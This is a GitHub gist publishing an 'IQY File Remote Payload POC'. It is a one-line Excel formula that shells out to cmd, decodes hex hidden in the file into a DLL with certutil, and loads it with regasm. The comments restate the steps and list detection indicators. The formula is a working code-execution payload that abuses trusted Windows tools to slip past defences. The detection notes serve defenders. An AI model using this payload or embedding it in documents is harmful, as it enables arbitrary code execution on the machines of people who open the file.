Skip to content

Instantly share code, notes, and snippets.

@Mr-Un1k0d3r

Mr-Un1k0d3r/remote.iqy

Last active September 7, 2024 05:12
Show Gist options
  • Save Mr-Un1k0d3r/abdcf16ebcef5842c7f79ee6686271e7 to your computer and use it in GitHub Desktop.
Save Mr-Un1k0d3r/abdcf16ebcef5842c7f79ee6686271e7 to your computer and use it in GitHub Desktop.
Download ZIP
IQY File Remote Payload POC
Raw
remote.iqy
=cmd|' /c more /E +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex %temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1'
@vysecurity
Copy link

  1. Extract line 12 of the IQY file.
  2. Decode hex using Certutil.exe
  3. Output to dll file in temp folder called poc.dll
  4. Use regasm.exe to load the dll into memory

IOCs:

  • Certutil.exe execution with -decodehex flag
  • Write to temp folder with poc.dll
  • Regasm.exe with /U flag
  • More with /E flag

Neat work.

@Mr-Un1k0d3r
Copy link
Author

Yeah keep in mind that the certutil is not mandatory same with the regasm. This is just a POC :)

@vysecurity
Copy link

vysecurity commented Jul 15, 2019 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment